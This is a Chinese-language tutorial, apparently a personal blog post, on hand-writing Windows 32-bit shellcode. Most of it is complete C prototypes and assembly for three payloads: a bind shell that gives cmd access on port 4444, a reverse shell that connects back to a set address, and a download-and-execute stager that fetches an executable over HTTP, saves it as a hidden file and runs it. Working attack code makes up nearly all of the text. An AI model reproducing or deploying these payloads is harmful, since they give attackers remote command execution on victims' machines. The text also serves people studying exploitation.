本文讨论下win32 shellcode。
参见维基百科,想要翻译下结果一直没翻译。简单说下,就是一段测试漏洞的代码,可以控制计算机、干坏事等等等等。。。这段代码一般通过某种手段注入到有漏洞的程序内存空间中,运行并向攻击者提供一个控制台。
shellcode通常但也不总是为了获取一个shell,但获取一个shell是获取计算机控制权的一流方式。
在windows中,不要指望像linux下那样用系统调用直接和内核交互,因为windows的系统调用一直在变化,也没有好的文档。
windows下把一些函数放到了dll链接库中,当程序运行时,这些dll库被载入到当前程序的内存空间中。调用这些函数只要知道这些函数的地址就行了。可是,每一个windows版本甚至一个补丁都会让这些地址变化。
但kernel32一定会被加载到内存空间中去,kernel32.dll的地址在一个叫作PEB的块中却比较固定,于是人们就搜索PEB来找到kernel32.dll的地址。
找到kernel32的地址之后,可以通过输出表(Export Table)搜索和解析之中所有的函数地址。尽管有些dll并不像kernel32一定会加载到程序内存空间中,却可以解析kernel32中的LoadLibraryA来载入它们,然后通过同样的解析函数方法来解析这些dll中的函数地址。
由于shellcode的独特性,我们用汇编会获取更好的控制。但首先我会先用C语言来原型,搞清楚这些程序都干了什么。
我用了以下一些工具:
当然还有写od一类的unix小工具,一个正常的linux发行版都会有这些东西的。
虽然原理很简单,但是有些小细节:
Talk is cheap, show you the code… C代码是我自己写的,shellcode不一定是我自己写的。但即使是我自己写的也要仰仗于nologin上那篇著名的win32shellcode论文和projectshellcode上的示例。推荐有兴趣的人看看。
绑定一个端口并提供远程控制台。绑定到本机4444
C原型:
/*
* =====================================================================================
*
* Filename: port_bind.c
*
* Description: port_bind in windows
*
* Version: 1.0
* Created: 08/18/2013 05:01:19 PM
* Revision: none
* Compiler: lcc
*
* Author: reverland,
* Organization:
*
* =====================================================================================
*/
#include
#include
#include
#include
int main(){
WSADATA wsaData;
WORD wVersionRequested;
struct sockaddr_in host;
struct sockaddr* addr;
SOCKET MySock, NSock;
wVersionRequested = MAKEWORD(2, 2);
int nret;
// FreeConsole
FreeConsole();
printf("size of WSADATA is %d\n", sizeof(wsaData));
printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
// WSAStartup
if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
printf("ws2 outof date!\n");
WSACleanup();
exit(1);
}
// WSASocket
MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
host.sin_family = AF_INET;
host.sin_addr.s_addr = INADDR_ANY;
host.sin_port = htons(4444);
// bind
nret = bind(MySock, (struct sockaddr*)&host, sizeof(host));
printf("size of sockadr is %d\n", sizeof(host));
if (nret == SOCKET_ERROR)
{
printf("Error on bind\n");
WSACleanup();
exit(1);
}
// listen
nret = listen(MySock, 16);
if (nret == SOCKET_ERROR)
{
printf("Error on bind\n");
WSACleanup();
exit(1);
}
// accept
addr = malloc(16);
int addrlen = 16;
NSock = accept(MySock, addr, &addrlen);
if (NSock == SOCKET_ERROR)
{
printf("Error on accept\n");
}
// CreateProcess
char cmd[] = "cmd";
STARTUPINFO startupinfo;
printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
PROCESS_INFORMATION processinformation;
printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
memset(&startupinfo, '\0', sizeof(STARTUPINFO));
memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
startupinfo.cb = 0x44;
startupinfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
startupinfo.wShowWindow = SW_HIDE;
startupinfo.hStdInput = (HANDLE)NSock;
startupinfo.hStdOutput =(HANDLE)NSock;
startupinfo.hStdError = (HANDLE)NSock;
FreeConsole();
CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);
// ExitProcess
ExitProcess(0);
}
asm.c :
; port_bind.asm
BITS 32
[SECTION .text]
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30] ;PEB
mov eax, [eax + 0x0c] ;PEB->LoaderData
mov esi, [eax + 0x1c] ;PEB->LoaderData->InInitializationOrderModuleList
lodsd ;next entry the double linked list point to
mov eax, [eax + 0x8] ;imagebase of kernel32
pop esi
ret
;END FUNCTION: find_kernel32
; FUNCTION: find_function
find_function: ; find_functions(edx, eax)
pushad
mov ebp, [esp+0x24] ;edx(dll)
mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
add edx, ebp ;Absolute address
mov ecx, [edx+0x18] ;Number of functions
mov ebx, [edx+0x20] ; address of names(rva) table relative offset
add ebx, ebp ; make the name talbe address absolute
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_funtion_compare:
cmp edi, [esp+0x28]
jnz find_function_loop
mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
add ebx, ebp
mov cx, [ebx + 2*ecx] ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
add ebx, ebp ; make the address table address absolute
mov eax, [ebx + 4*ecx] ; extract the realtve function offset from its ordinal and store it in eax
add eax, ebp
mov [esp+0x1c], eax ; overwrite eax
find_function_finished:
popad
ret
; END FUNCTION: find_function
; FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
; about to load current hash into eax(pointed by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
; END FUNCTION: resolve_symbols_for_dll
;END FUNCTIONS
locate_kernel32_hashes:
call locate_kernel32_hashes_return
; BIG ENDIAN
; LoadLibraryA
db 0x8e, 0x4e, 0x0e, 0xec
; CreateProcessA
db 0x72, 0xfe, 0xb3, 0x16
; ExitProcess
db 0x7e, 0xd8, 0xe2, 0x73
;locate ws2_32_hashes
; WSASocketA
db 0xd9, 0x09, 0xf5, 0xad
; bind
db 0xa4, 0x1a, 0x70, 0xc7
; listen
db 0xa4, 0xad, 0x2e, 0xe9
; accept
db 0xe5, 0x49, 0x86, 0x49
; WSAStartup
db 0xcb, 0xed, 0xfc, 0x3b
; END DEFINE CONSTANTS
start_asm:
sub esp, 0x68 ; !!随便给的
mov ebp, esp
call find_kernel32
mov edx, eax
; resolve kernel32 symbols
jmp short locate_kernel32_hashes
locate_kernel32_hashes_return:
pop esi
lea edi,[ebp+0x00]
mov ecx, esi
add ecx, 0x0c ; length of kernel32 list
call resolve_symbols_for_dll
; resolve ws2_32 symbols
add ecx, 0x14
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ; point to "ws2_32"
push ecx
push edx
push ebx
call [ebp+0x0]
pop edx ; kernel32 address
pop ecx ; counter
mov edx, eax ; ws2_32.dll address
call resolve_symbols_for_dll
initialize_cmd:
mov eax, 0x646d6301
sar eax, 0x08
push eax
mov [ebp+0x30], esp
WSAStartup:
xor edx, edx
mov edx, 0x190
sub esp, edx
; initialize winsock
push esp
push 0x02
call [ebp+0x1c]
add esp, 0x190
create_socket:
xor eax, eax
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call [ebp+0x0c]
mov esi, eax
bind:
xor eax, eax
xor ebx, ebx
push eax
push eax
push eax
mov eax, 0x5c110102
dec ah
push eax
mov eax, esp
mov bl, 0x10
push ebx
push eax
push esi
call [ebp+0x10]
listen:
push ebx
push esi
call [ebp+0x14]
accept:
push ebx
mov edx, esp
sub esp, ebx
mov ecx, esp
push edx
push ecx
push esi
call [ebp+0x18]
mov esi, eax
initialize_process:
xor ecx, ecx
mov cl, 0x54
sub esp,ecx
mov edi, esp
push edi
zero_structs:
xor eax, eax
rep stosb
pop edi
initialize_structs:
mov byte [edi], 0x44
inc byte [edi+0x2d] ; STARTF_USESTDHANDLES
push edi
mov eax, esi
lea edi, [edi+0x38]
stosd
stosd
stosd
pop edi
execute_process:
xor eax, eax
lea esi, [edi+0x44]
push esi
push edi
push eax
push eax
push eax
inc eax
push eax
dec eax
push eax
push eax
push dword [ebp+0x30] ; p->"cmd"
push eax
call [ebp+0x04]
exit_process:
call [ebp+0x08]
反向连接shellcode,提供远程控制台。反向到192.168.56.102, 端口4444
C 示例:
/*
* =====================================================================================
*
* Filename: connectback.c
*
* Description: Connect back example
*
* Version: 1.0
* Created: 08/23/2013 04:49:55 PM
* Revision: none
* Compiler: gcc
*
* Author: Reverland,
* Organization:
*
* =====================================================================================
*/
#include
#include
#include
#include
#include
#include
int main(){
WSADATA wsaData;
WORD wVersionRequested;
struct sockaddr_in host, client;
struct sockaddr* addr;
SOCKET MySock, NSock;
wVersionRequested = MAKEWORD(2, 2);
int nret;
char ip[] = "127.0.0.1";
// FreeConsole
FreeConsole();
printf("size of WSADATA is %d\n", sizeof(wsaData));
printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
// WSAStartup
if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
printf("ws2 outof date!\n");
WSACleanup();
exit(1);
}
// WSASocket
MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
client.sin_family = AF_INET;
client.sin_addr.s_addr = inet_addr(ip);
client.sin_port = htons(4444);
// bind
nret = connect(MySock, (struct sockaddr*)&client, sizeof(client));
printf("size of sockadr is %d\n", sizeof(host));
if (nret == SOCKET_ERROR)
{
printf("Error on connect\n");
WSACleanup();
exit(1);
}
// CreateProcess
char cmd[] = "cmd";
STARTUPINFO startupinfo;
printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
PROCESS_INFORMATION processinformation;
printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
memset(&startupinfo, '\0', sizeof(STARTUPINFO));
memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
startupinfo.cb = 0x44;
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = (HANDLE)MySock;
startupinfo.hStdOutput =(HANDLE)MySock;
startupinfo.hStdError = (HANDLE)MySock;
FreeConsole();
CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);
// ExitProcess
ExitProcess(0);
}
asm:
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30] ;PEB
mov eax, [eax + 0x0c] ;PEB->LoaderData
mov esi, [eax + 0x1c] ;PEB->LoaderData->InInitializationOrderModuleList
lodsd ;next entry the double linked list point to
mov eax, [eax + 0x8] ;imagebase of kernel32
pop esi
ret
;END FUNCTION: find_kernel32
; FUNCTION: find_function
find_function: ; find_functions(edx, eax)
pushad
mov ebp, [esp+0x24] ;edx(dll)
mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
add edx, ebp ;Absolute address
mov ecx, [edx+0x18] ;Number of functions
mov ebx, [edx+0x20] ; address of names(rva) table relative offset
add ebx, ebp ; make the name talbe address absolute
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_funtion_compare:
cmp edi, [esp+0x28]
jnz find_function_loop
mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
add ebx, ebp
mov cx, [ebx + 2*ecx] ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
add ebx, ebp ; make the address table address absolute
mov eax, [ebx + 4*ecx] ; extract the realtve function offset from its ordinal and store it in eax
add eax, ebp
mov [esp+0x1c], eax ; overwrite eax
find_function_finished:
popad
ret
; END FUNCTION: find_function
; FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
; about to load current hash into eax(pointed by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
; END FUNCTION: resolve_symbols_for_dll
;END FUNCTIONS
locate_kernel32_hashes:
call locate_kernel32_hashes_return
;LoadLibraryA
db 0x8e
db 0x4e
db 0x0e
db 0xec
;CreateProcessA
db 0x72
db 0xfe
db 0xb3
db 0x16
;ExitProcess
db 0x7e
db 0xd8
db 0xe2
db 0x73
;locate_ws2_32_hashes:
;WSASocketA
db 0xd9
db 0x09
db 0xf5
db 0xad
;connect
db 0xec
db 0xf9
db 0xaa
db 0x60
;WSAStartup
db 0xcb
db 0xed
db 0xfc
db 0x3b
;END DEFINE CONSTANTS
start_asm:
sub esp, 0x68
mov ebp, esp
call find_kernel32
mov edx, eax
; resolve kernel32 symbols
jmp short locate_kernel32_hashes
locate_kernel32_hashes_return:
pop esi
lea edi,[ebp+0x00]
mov ecx, esi
add ecx, 0x0c ; length of kernel32 list
call resolve_symbols_for_dll
; resolve ws2_32 symbols
add ecx, 0x0c
; create ws2_32 string
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ; point to "ws2_32"
push ecx
push edx
push ebx
call [ebp+0x0] ; LoadLibraryA("ws2_32")
pop edx ; kernel32 address
pop ecx ; counter
mov edx, eax ; ws2_32.dll address
call resolve_symbols_for_dll
initialize_cmd:
mov eax, 0x646d6301
sar eax, 0x08
push eax
mov [ebp+0x24], esp
WSAStartup:
xor edx, edx
mov edx, 0x190
sub esp, edx
; initialize winsock
push esp
push 0x02
call [ebp+0x14]
add esp, 0x190
create_socket:
xor eax, eax
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call [ebp+0x0c]
mov esi, eax
do_connect:
push 0x0100007f
mov eax, 0x5c110102
dec ah
push eax
mov ebx, esp
xor eax, eax
mov al, 0x10
push eax
push ebx
push esi
call [ebp+0x10]
initialize_process:
xor ecx, ecx
mov cl, 0x54
sub esp,ecx
mov edi, esp
push edi
zero_structs:
xor eax, eax
rep stosb
pop edi
initialize_structs:
mov byte [edi], 0x44
inc byte [edi+0x2d] ; STARTF_USESTDHANDLES
push edi
mov eax, esi
lea edi, [edi+0x38]
stosd
stosd
stosd
pop edi
execute_process:
xor eax, eax
lea esi, [edi+0x44]
push esi
push edi
push eax
push eax
push eax
inc eax
push eax
dec eax
push eax
push eax
push dword [ebp+0x24] ; p->"cmd"
push eax
call [ebp+0x04]
exit_process:
call [ebp+0x08]
C原型:
/*
* =====================================================================================
*
* Filename: download_execute.c
*
* Description: Download and execute shellcode
*
* Version: 1.0
* Created: 08/22/2013 03:53:36 PM
* Revision: none
* Compiler: gcc
*
* Author: Reverland,
* Organization:
*
* =====================================================================================
*/
#include
#include
#include
#include
int main(){
HINTERNET nethandle;
// allocate an internet handle
printf("Allocate an internet handle\n");
nethandle = InternetOpen(NULL, 0, NULL, NULL, 0);
if (nethandle == NULL)
{
printf("Error on InternetOpen\n");
exit(0);
}
// allocate a resource handle
printf("Allocate a resource handle\n");
HINTERNET reshandle;
char url[] = "http://localhost:4000/calc.exe";
reshandle = InternetOpenUrl(nethandle, url, NULL, 0, 0, 0);
if (reshandle == NULL)
{
printf("Error on InternetOpenUrl\n");
exit(0);
}
// Create the local executable file
printf("Create the local executable file\n");
HANDLE filehandle;
char filename[] = "something.exe";
filehandle = CreateFile(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN, NULL);
if (filehandle == 0)
{
printf("Error on CreateFile\n");
exit(0);
}
// Download the executable
printf("download the executable\n");
DWORD NumberOfBytesRead=0;
DWORD NumberOfBytesWritten=0;
BOOL nret;
while (1==1){
void *Buffer = malloc(260);
nret = InternetReadFile(reshandle, Buffer, 260, &NumberOfBytesRead);
printf("InternetReadFile\n");
printf("read %d bytes\n", (int)NumberOfBytesRead);
printf("%s\n", (char *)Buffer);
if (NumberOfBytesRead == 0)
break;
printf("WriteFile\n");
nret = WriteFile(filehandle, Buffer, NumberOfBytesRead, &NumberOfBytesWritten, NULL);
printf("write %d bytes\n", (int)NumberOfBytesWritten);
if (nret == 0)
{
printf("Error on Writefile\n");
exit(0);
}
free(Buffer);
}
printf("Close handle\n");
CloseHandle(filehandle);
// Create Process
printf("Create Process\n");
STARTUPINFO startupinfo;
// printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
PROCESS_INFORMATION processinformation;
// printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
memset(&startupinfo, '\0', sizeof(STARTUPINFO));
memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
startupinfo.cb = 0x44;
CreateProcess(NULL, filename, NULL, NULL, 0, 0, NULL, NULL, &startupinfo, &processinformation);
ExitProcess(0);
}
asm:
; port_bind.asm
BITS 32
[SECTION .text]
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30] ;PEB
mov eax, [eax + 0x0c] ;PEB->LoaderData
mov esi, [eax + 0x1c] ;PEB->LoaderData->InInitializationOrderModuleList
lodsd ;next entry the double linked list point to
mov eax, [eax + 0x8] ;imagebase of kernel32
pop esi
ret
;END FUNCTION: find_kernel32
; FUNCTION: find_function
find_function: ; find_functions(edx, eax)
pushad
mov ebp, [esp+0x24] ;edx(dll)
mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
add edx, ebp ;Absolute address
mov ecx, [edx+0x18] ;Number of functions
mov ebx, [edx+0x20] ; address of names(rva) table relative offset
add ebx, ebp ; make the name talbe address absolute
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_funtion_compare:
cmp edi, [esp+0x28]
jnz find_function_loop
mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
add ebx, ebp
mov cx, [ebx + 2*ecx] ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
add ebx, ebp ; make the address table address absolute
mov eax, [ebx + 4*ecx] ; extract the realtve function offset from its ordinal and store it in eax
add eax, ebp
mov [esp+0x1c], eax ; overwrite eax
find_function_finished:
popad
ret
; END FUNCTION: find_function
; FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
; about to load current hash into eax(pointed by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
; END FUNCTION: resolve_symbols_for_dll
;END FUNCTIONS
locate_kernel32_hashes:
call locate_kernel32_hashes_return
; BIG ENDIAN
; LoadLibraryA---ebp
db 0x8e, 0x4e, 0x0e, 0xec
; CreateFile---ebp+4
db 0xa5, 0x17, 0x0, 0x7c
; WriteFile---ebp+0x8
db 0x1f, 0x79, 0xa, 0xe8
; CloseHandle---ebp+0xc
db 0xfb, 0x97, 0xfd, 0xf
; CreateProcessA---ebp+0x10
db 0x72, 0xfe, 0xb3, 0x16
; ExitProcess---ebp+0x14
db 0x7e, 0xd8, 0xe2, 0x73
; Wininet.dll function hashes
; InternetOpenA---ebp+0x18
db 0x29, 0x44, 0xe8, 0x57
; InternetOpenUrlA---ebp+0x1c
db 0x49, 0xed, 0xf, 0x7e
; InternetReadFile---ebp+0x20
db 0x8b, 0x4b, 0xe3, 0x5f
; DEFINE Constants END
start_asm:
sub esp, 0x88
mov ebp, esp
call find_kernel32
mov edx, eax
; resolve kernel32 symbols
jmp short locate_kernel32_hashes
locate_kernel32_hashes_return:
pop esi
lea edi, [ebp+0x00]
mov ecx, esi
add ecx, 0x18 ; length of kernel32 list
call resolve_symbols_for_dll
; resolve wininet symbols
add ecx, 0xc
; xor eax, eax
mov eax, 0x74656e01
sar eax, 0x08
push eax ; net
push 0x696e6977 ; wini
mov ebx, esp
push ecx ; preserve ecx, LoadLibraryA 破坏ecx和edx?
push edx ; preserve edx
push ebx
call [ebp+0x0]
pop edx
pop ecx
mov edx, eax ; 之前保护edx干么...?
call resolve_symbols_for_dll
internet_open:
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call [ebp+0x18]
mov [ebp+0x24], eax ; nethandle
internet_open_url:
xor eax, eax
mov ax, 0x6578
push eax
push 0x652e636c ; calc.exe
push 0x61632f30
push 0x3030383a
push 0x74736f68
push 0x6c61636f
push 0x6c2f2f3a
push 0x70747468 ; http://localhost:8000/calc.exe
mov ebx, esp
xor eax, eax
push eax
push eax
push eax
push eax
push ebx
push dword [ebp+0x24] ;nethandle
call [ebp+0x1c]
mov [ebp+0x28], eax ; reshandle
create_file:
xor eax, eax
mov al, 0x65
push eax
push 0x78652e67
push 0x6e696874
push 0x656d6f73 ; something.exe
mov [ebp+0x2c], esp ; filename->something
xor eax, eax
push eax
mov al, 0x82 ; FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN
push eax
mov al, 0x02
push eax ; CREATE_ALWAYS
xor al, al
push eax
push eax
mov al, 0x40
sal eax, 0x18 ; GENERIC_ALL
push eax
push dword [ebp+0x2c]
call [ebp+0x4]
mov [ebp+0x30], eax ; filehandle
download_begin:
xor eax, eax
mov ax, 0x010c ; esi->DWORD numberofbytesread + 260 buffer
sub esp, eax
mov esi, esp
download_loop:
push esi ;
mov ax, 0x0104
push eax
lea eax, [esi+4]
push eax
push dword [ebp+0x28] ; reshandle
call [ebp+0x20]
mov eax, [esi] ; NumbeOfBytesRead
test eax, eax
jz download_finished
download_write_file:
xor eax, eax
push eax
push esi
push dword [esi]
lea eax, [esi+0x04]
push eax
push dword [ebp+0x30]
call [ebp+0x8]
jmp download_loop
download_finished:
push dword [ebp+0x30]
call [ebp+0xc]
xor eax, eax
mov ax, 0x0104 ; restore stack
; CreateProcess
initialize_process:
add esp, eax
xor ecx, ecx
mov cl, 0x54
sub esp, ecx
mov edi, esp
zero_structs:
xor eax, eax
rep stosb
initialize_structs:
mov edi, esp
mov byte [edi], 0x44 ; !!!!!cb
execute_process:
lea esi, [edi+0x44] ; esi->process_information
push esi
push edi
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp+0x2c] ; ->"something"
push eax
call [ebp+0x10]
exit_process:
call [ebp+0x14]
第一阶段建立连接,并读取shellcode,然后指向执行。
待续。。。